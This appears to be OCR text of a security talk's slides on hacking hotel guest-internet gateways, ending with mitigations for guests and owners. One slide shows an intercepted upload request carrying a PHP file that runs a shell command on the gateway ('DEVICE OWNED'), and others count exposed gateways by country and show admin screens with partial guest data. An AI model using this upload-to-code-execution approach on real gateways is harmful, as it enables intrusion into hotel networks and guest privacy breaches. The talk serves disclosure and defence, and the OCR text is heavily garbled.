Active Users

f idle ]( expired ]( unused ][ archive ][ blocked ][ mac list ]f connected devices ]
Active subscribers
J Username MAC Room Time left Data up Data down Price Type Unit Action m
O ) 00-A2-6B / 264MB 148MB[Z O port2 @O o= T
O ipad 78-A8-48 / 16.62 MB 24091 MB[2 0O port2 @O ox [T
O spago -41-91-78 / 097MB  243MB[? O port2 @ ox T
)] »ad 75-90-FA / 327TMB 7566MB[Z O port2 @D o= T
O @ OD-F7-69 ur16min48sec 062MB 1233 MB[2 port2 @O o= T
O ard 9D-FE-35 / 205.88 MB 52135 M2 0 port2 @O o= T
] ' D6-FA-76 / 375.02MB28107.53 MB (&' 0 port 2 (D o U
O blolu 1-55-28-52 / 072MB  os54Me(2 0O port2 @ ox T
] ur @ C9-9C-79 >ur 20 min 10 sec 112.82 MB §95.75 MB (5 34 port2 @O o= [J
O lice -89-97-9F / 87.16 MB 211151 MB[* 0 port2 @O o= T
O pad 73-C9-DF / 073MB  456MB[Y O port2 O o= T
o Z 9E-83-A7 wurd min48sec 954 MB 2403 MB[Z 34 port2 @O o= T
O lo 6B-73-D5 / 42.82MB 193996 MB[7 0 port2 @O o= [
O @ D3-26-C2 ur41min3sec  9.11MB 13539 MB (& port2 @O o= [
O & 5A-B6-76 ur 1 min 26 sec 16.99 MB  108.07 Mg (2 34 port2 O o= T
)] @ BF-2A-CC wurimin26sec 151MB 1306 MB[7 34 port2 @O o= T
() 40:9¢ 5D-37-A7 / 287.08 MB 44131 MB[Z O port2 @O o= T
] | Laptop 6D-34-22 / 245.89 MB 4718.86 MB (5 0 port 2 ® o=
O enter PC 6B-73-DF / 381.77 MB 842401 MR (2 0O port2 @O o= T
O iosku -02-78-A3 / 1116 MB  2062MB[2 O port2 O o= T
[ Eng sless Adaptor -18-20-88 / 192.14MB 499 MB[Z O port2 @O o= T
O d IPAD 98-CC-DO / 473MB  s288MBZ 0O port2 @O o= [
O System D1-B6-6C / 2581MB  gmB[Z 0 port2 @O o= [T
O System AT-11-66 / 054MB  g16MB[Y O port2 @O o= T
] v AT-C9-8A / 2933MB ggosMB[Z O port2 O o= T
O ther .05-FB-E2 / 4183MB 5725 MB[Z O port2 @O ox T
EL-___ iii Delete  ow Logout
K < >




Mac Addresses

MAC addresses

o Username
(5 Wired
5] laptop
o Guest
(0

o

8 mac

(0

o Tv

=

=

=

o

o Video

=

=

=

=

(I

ol iphone
=

=

(0

= igues!
(0 igues
= iguest
5

=

(0

=

O Ipad
o mobile
(] CellPhone
o Personal
=

=

= €

= 30-2

=

=

o

=

=

=

(0 .

o pos
=

[ active ]f idle ][ expired ][ unused ][ archive ][ blocked mg.] connected devices

MAC

-78
-89

Last session
19:12:52
13:47:37
19:01:14
14:38:22
13:45:03
20:00:59
14:29:09
03:04:22
20:54:23
11:27:.04
23:32:48
16:55:28
11:44.28
19:02:43
19:35:11
00:18:10
17:20:43
17:58:45
17:49:48
18:40:19

19:41:05
18:47:26
18:53:15
19:05:55
20:18:05
15:09:02
13:00:19
14:53:36
16:09:43
20:52:44

09:24:55
13.07:41
13:32:07
13:01:17

13:08:45
09:54:13

00:40:14
3:56:42
3:24:10
3:49:48
J.40:02

Unit

port 2
port 2
port 2
port 2
port 2
port 2
port 2
port 2
port 2
port 2
port 2
port 2
port 2
port 2
port 2
port 2
port 2
port 2
port 2
port 2

sort 2
sort 2
Jort 2
Jort 2
Jort 2
sort 2
Jort 2
Jor 2
Jort 2
Jort 2

Jort 2
Jort 2
Jorn 2
Jort 2

Jort 2
Jort 2

sort 2
port 2
port 2
port 2
port 2

0O00OOOLOOOOEEOOEELODOOOOOLOOOLLEOOOOEEOOOOBOR
dddddddddddddddddddaddddddddddddddddddddadadadadaads

&




User Details

JR—

active |[ idie )[ expired

unused archive blocked mac list connected devices details

details update

< Previous

Session details

Username

IP

MAC address
Device
Vendor
Started

Bandwidth history

Input / Output

Unknown

active ses non-activ e URL logg

ing

19 (Open) A Live bandwidth usage (download)

49
! 76
Unknown
Unknown
-24 08:01:52

A-76

Input %

0.0Kbps
0.0xbps
0.0Kbps
0.0Kbps
0.0xbps
0.0Kbps
0.0Kbps
0.0Kbps
0.0Kbps
0.0kbps
0.0Kbps

593.90 GB 100

593.90 GB

Next >

(Open)

120°

Download

Output
532 GB
532 GB

a0 o

per subscriber plan
%

[ Logout || Anonymize |[ Delete |




DHCP Configuration

[ DHCP rules |[ static DHCP ][ DHCP options |

DHCP
Subnet LAN IP Start IP End IP 'g::g:'d": (+)
[port. "] | 0.1 | | 0.40 | | 3.244 | [21600 | x
| [ save | |

("DHCP )[ DHCP rules | aaaaical[ DHCP options |
Static DHCP
MAC IP (4]
:60:11 213 X
:3A:6B 16 X
A4TE 245 X
):92:91 )3 X
:32:D1 32 x
:8E:39 54 x
:B8:97 51 x
65:F4 129 b
\:A0:C6 1 X




DNS Configuration

EIEEETE [ DN entries |[ DYNDNS )

Servers

Primary nameserver
Secundary hameserver
Third nameserver

8.8.8.8

Offline mode

Enable offline mode
Resolve Ip

Resolve attempts
Display

o

3

@ Message
'Portal rules

(default 1.0.0.1)

Misc

Block non standard DNS

Enable DNS based content filter
IPs

OC

SafeDNS: 195.46.39.39, 195.46.39.40

OpenDNS: 208.67.222.222, 208.67.220.220
SafeDNS is available for those with a valid content filter subscription,
please contact your supplier for more information.




DNS Enteries

Custom DNS

Type

DNs settings | IR ad DYNDNS

d| 4| «]] «f «

Domain name

Interface

All

All

All

All

All

XXX XXQ

Update |




DYNDNS Configration

[ DNS settings |[ DNS entries | QLG

DYNDNS

L Enable DYNDNS

Type: @ DYNDNS ( NO-IP
Username: |admin |
Password: | ----- |
Host: | | e.g. myhost.dyndns.org

| Submit |




Network Configuration

[ network ports ][ routes ][ interface order ]f overview ]
WAN configuration
Ethernet IPv4
Port Mode IP Subnet Default gateway Default Use entire subnet 0
port v Static v 255.255.255.252 X
port v Static v 255.255.255.0 11 X
port v Static v 255.255.255.248 ' 0 3 X
PPPoE IPv4
Port Username Password Default (4]
IPv6
Port Mode P Default gateway Default 0
Guest configuration
LAN port WAN port Mode IP Subnet NAT 0
[ port 2 v| [System default v| [Managed v | 1 | [255.255.252.0 v o X
| Save




Routes

Static routes

Name

(" network configuration ][ network ports Tm[ interface order ]f overview 1

Destination

Netmask

Gateway

Port




Network Configuration Review

Routes Default
Destination Gateway Genmask Flags Metric Ref U Iface
10.10.10.0 0.0.0.0 255.255.255.252 U 0 0 0 eth0
0.0.0.0 255.255.255.248 U 0 0 0 eth3
J 0.0.0.0 255.255.255.0 U 0 0 0 tunt1
27.0 0.0.0.0 255.255.255.0 U 0 0 0 eth2
1.0 0.0.0.0 255.255.252.0 U 0 0 0 tun11
0.0 0.0.0.0 255.255.0.0 U 0 0 0 eth3
0.0.0.0 0.0.0.0 UG 0 0 0 eth3
Layout
11 153
' '
1 1
1 1
1 1
1 1
0.1 30 154
portl port3 port 4
port2
)1
Subnets
U700 - 3234
01-1 54
DHCP
0.40- 3.244




Port Forwarding

port forwarding

Port forwarding
Name WAN

Public IP

Private IP Type

Source IP

Source subnet Action

Add port forward

Name :
WAN :
Public IP :
Public port :
Private IP :
Private port :
Type :
Source IP :

TCP

Address type : |Any address

Start IP address : |

Subnet mask : |

Add




SSL Overview

[ CSR ]f private key ]f SSL certificate ]f CA certificate ][ guest networks ]

SSL overview

| .
[ overview ][ CSR ][ private key ][ CA certificate ][ guest networl

Public SSL certificate

Status: active
CSR: generated (view | create a new CSR) BEGIN CERTIEICATE—
Private certificate: generated (view)
Signed certificate: ssl certificate loaded (update ssl certificate)

CA certificate: CA certificate loaded (update CA certificate)

Disable SSL

Enter SSL certificates manually

Z28uY29tLTINIY3RpZ29SUOFEDb21haWsWYWxpZGF0aW9uU2VjdX.

| Update public key |




Subnets

Subnets
Description Subnet Range DHCP NAT Guest interface Exclude Action
o .0.0/22 0.1- 3.254 v v port A 5]
o .0.0/24 0.1- 1.254 x 7 port A 5]




Interception

system log lawful interception

Lawful interception

Log details

Username
MAC address
Source IP
Source port
Destination IP
Destination port
Package length

Protocol

(CYCYRRC SR R C VR C VR CVRON

Lawful interception
Remote logging
L Enable syslog
Facility [LOCALO v]
Severity | EMERGENCY v |

Syslog server | |

Enable LJ

URL logging

Enable
Subdomain depth

ICI Determines how many subdomains the system will include per
unique DNS entry. Leave empty or O to only log the main
domain.

DNS logging




Firewall rules

IPv4 firewall rules f IPv6 firewall rules 1

Firewall settings IPv4

Sort Description Device Type Direction Port Source IP Destination IP Action Action
av web interface - http all tcp in 80 all all AccepT [ U
av web interface - https all tcp in 443 all all AccepT [ U
avw ssh all tcp in 22 all all AccepT [ U

| Restart firewall |




Logs

IEEEER AN syslog |[ XML |[ FIAS log |[ SPGlog [ lawiul interception | URLIog ) DNS log |

Syslog backup

File
30.zip
29.zip
28.zip
27.Zip
26.zip
25.zip
24.zZip
23.Zip
22.7ip
21.zip
20.zip
19.zip
18.zip
17.zip
16.zip
15.zip
14 zip
13.zip
12.zip
11.zip
10.zip

Uploaded

23:23
22:24
23:24
23:23
23:23
23:23
23:23
22:24
23:23
22:24
22:24
23:23
23:23
22:24
23:24
23:23
23:23
23:23
23:23
23:23
22:24

K<

T

URL

>

Size
75.88 KB
75.51 KB
74.18 KB
72.51 KB
68.22 KB
71.54 KB
73.42 KB
72.10 KB
72.45 KB
70.50 KB
71.84 KB
70.21 KB
72.19 KB
75.31 KB
76.42 KB
74.46 KB
80.81 KB
77.58 KB
74.48 KB
74.81 KB
78.91 KB

Action

ARARARARARARARARARARARARARARA A R




. overview floors guest types
Guest Details Upciate roo
Room: Checked in: +
Name: Shared room: ¥
w guest types Floor: / o«
Overview Guest type: / Blocked:
Room VLAN Floor Guest type Checked in Shared room Gateway: Conference room: X
room 12 no / ! no no :
room !3 no / 1 no no VLAN:
room 1 no ! ! no no
room 2 no 1 1 yes no
room 3 no ! ! no no l |
room 4 ne / ! yes no B )
room & no ; ' yes o Guest details - Guest + NERE)
room 6 no ! 1 yes no
room 7 no | ! ves no — Guest details — Definable
room 8 no / ! yes no Guest#: e Definable1: 1
room 9 no / ! yes no Guest title: Definable 2: ~~"
0 / ! R
roem ne ves ne Guest last name: . Definable 3: "
room 1 nD f Jr no nc L R R I T Iy
room 2 no / / no no Guest first name: Definable 4: PKG
room 3 no ! 1 yes no VIP code: VIPS Definable 5: -1
room 4 no ! ! yes no Group number: Definable 6: C"°°"7" """ TTT@GMAIL.COM
room § no / ! yes no Arrival date: .. ... Definable 7:
6 ! !
room ne yes no Departure date: ... ... Definable 8:
room 7 no ! ! yes no S
room 8 no / ’ ves no Reservation code: . ._ .. Definable 9: ™
room 9 no / ! yes no Language: EA Definable 10:
room 0 no ! / yes no No post: M
room 1 no ! 1 yes no
room 2 no ! ! yes no
room 3 no ! ! ne no
room 4 no ! ! no no
room 1 no ! ! yes no U Ddate room
room 2 no ! ! yes no
room 3 no / ! yes no Name:
room 4 no ! ! yes no Select a ﬂoﬂf: L
room 5 no ! 1 yes no
2 T
room 6 no / ! yes no Select a guest type:
room T no J ! yes no Subscriber network: v
room 8 no ! ! yes no VLAN:
room 9 no / ! yes no Conference room: | |
room 0 no ! ! no no
room 1 no ! / yes no Blocked: [
room 2 no 1 1 yes no
room 3 ne ! ! yes no Update
room 4 no / ! yes no
K < » A




PMS

[ PMS ][ logical || field policies ]m[ agent |[ settings |

Configuration settings - TCP/IP

Send ACK

Send LRC

Send a link alive (LA) every I:I minutes
PMS responds to link alive for sanity check
Do a database swap EveryEl minutes

- Do a database swap at I:”:l (HH:MM)
¥| Do a database swap when the link starts

ROC

OC

Wait D seconds for connection between client and PMS.

- Do not strip guest title from guest name
| Send billing name in charge

| Send fixed variable in charge [:I

.| Buffer charges

charset: | CP-850 (Latin-1 - Western European languages) ¥ |

TCF.«"]'F'_
1P|

Port:




Backup

( backup settings ]M[ log handling ]f Remote locations ]
Download/restore backup
Backup Version Created Uploaded Size
ZIip version : I | 41.27 MB
ZIp version ! 2 41.34 MB
).Zip version ! 3 41.06 MB
).Zip version ! 3 41.02 MB
).ZIp version ! 1 40.72 MB
).Zip version ! > 40.40 MB
).Zip version ! 3 40.08 MB
).ZIp version ! 1 39.80 MB
).Zip version ! 4 39.50 MB
LZIp version ! 7 39.16 MB
"Zip version ! ) 38.84 MB




SMTP

SMTP settings

SMTP server

SMTP port

Username

Password

FROM e-mail address
Administrator e-mail

smtp.office365.com

587

| Test SMTP settings |




| Forward || Drop | | Intercept is on | Action
J Raw I Params I Headers I Hex ]

POST /... __ .. ______.__.p':'.p HTTP/1.1
Host: :~# cat x.php

fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Wineéd; =x64; rv:72.0) Gecko/20100101 <?php

Accept: text/html,application/xhtml+xml,application/=xml;q=0.%,image/wehp,*/*;d
Accept-Language: en-US,en;g=0.5

Accept-Enc gzip, deflate exec("echo "DEVICE OWNED' >> /var/www/html/test.txt");
Content-Type: multipart/form-data; boundary=-----——-——-—————-——-——————————-2053582

Content-Length: £43

Connection: close
Referer: http:// _

Cockie: PHPSESSILD=

Content-Disposition: form-data; :‘.a:‘:u:—=“-"

Content-Disposition: form-data; name="1EN

I Y & LEST.Z1Rp
————————————————————————————— 293582696224464
Content-Disposition: form-data: “a".'u:—-
https zip
————————————————————————————— 293582696224464
Content-Disposition: form-data; name="size"




GUESS WHAT ?

nfoSec Taylor Swift

AN avecitao
— —
WA TAUN N,
C'-\ o~~~ " "N
Yy ~ 1 e N N TN

DEVICE OWNED




File Actions Edit View Help
root@kali: ~ x

:~# |







So, Who is Vulnerable ?

TOTAL RESULTS

VULNERABLE GRTEWAYS T ——
: m '

United Kingdom 109
Germany 92
Russian Federation 80

United Arab Emirates 44

- T
VULNERABLE GATEWAYS EVERYWHERE Saudi Arabia i3




Once, we own the main box!

o HACK
e Corporate network

* Electronic door locks
e Alarm 9
* HVAC

* Guests devices
* |OT devices
 CCTV

* In fact anything connected to the gateway




Mitigations for Guests

Internet Protocol Version 4 (TCP/IPv4) Properties X

General Alternate Configuration

You can get IP settings assigned automatically if your network supports
this capability. Otherwise, yvou need to ask your network administrator
for the appropriate IF settings.

(®) Obtain an IF address automatically
() Use the following IP address:

IF address: | . . . |

Subnet mask; | . . . |

Default gateway: | . . . |

() Obtain DMS server address automatically
(@) Use the following DNS server addresses:

FPreferred DMS server: | 8 .8 .8 . 8 |

Alternate DMS server: | 3 .8 . 4 . 4 |

[ ]validate settings upon exit Advanced. ..

Ok Cancel




Mitigations for Guests

Settings
@ Home Proxy
Find a setting pe) Automatic proxy setup

Use a proxy server for Ethernet or Wi-Fi connections. These settings
don't apply to VPN connections.

Automatically detect settings

@ off
Use setup script

@ off

Script address

Manual proxy setup

Use a proxy server for Ethernet or Wi-Fi connections. These settings
don't apply to VPN connections.




Mitigations for Guests

You Internet

Corporate Hackers Government




Mitigations for Guests

’Si Cisco AnyConnect Secure Mobility Client — X

SOME_OFFICE_ NETWORK

| o System Scan:
y System scan not required on current Wi-Fi.




Mitigations for Guests




Mitigation for Guests

Two-Factor Authentication

Login Authenticate Access

Notification Approve
llllllllllllll ) llllllll.l....>
[ Username




Mitigation for Guests




Mitigation for Owners

* Train and re-train your staff
* |t takes one click on wrong link
* Train employees on best practices and

common attack vectors




Mitigation for Owners

e Strengthen your infrastructure

* Avoid easy to guess passwords on POS

* Use 2FA authentication

* Ensure end point protection is up to date
» Separate POS network from other

* Filter remote access for POS controller

* Segment WIFI Networks




Mitigation for Owners

* Regulate vendors
* Ensure vendor meets compliance standard

* Regularly assess the risk of their vendors and partners




Mitigations for Owners

e Threat hunt inside your network
* Hackers move around to find valuable data
* Monitor network traffic to identify suspicious

activity and discover unauthorized access




Mitigations for Owners

* Create a incident response plan to

speed up mitigation process.




Conclusion

Stay aware while traveling
Use VPN or 4G LTE

Advanced persistent threats are devastating

Biggest threats are simple not sophisticated

No sign that attacks will slow down across any industry



Thank You

m https://www.linkedin.com/in/aitezaz/



https://www.linkedin.com/in/aitezaz/

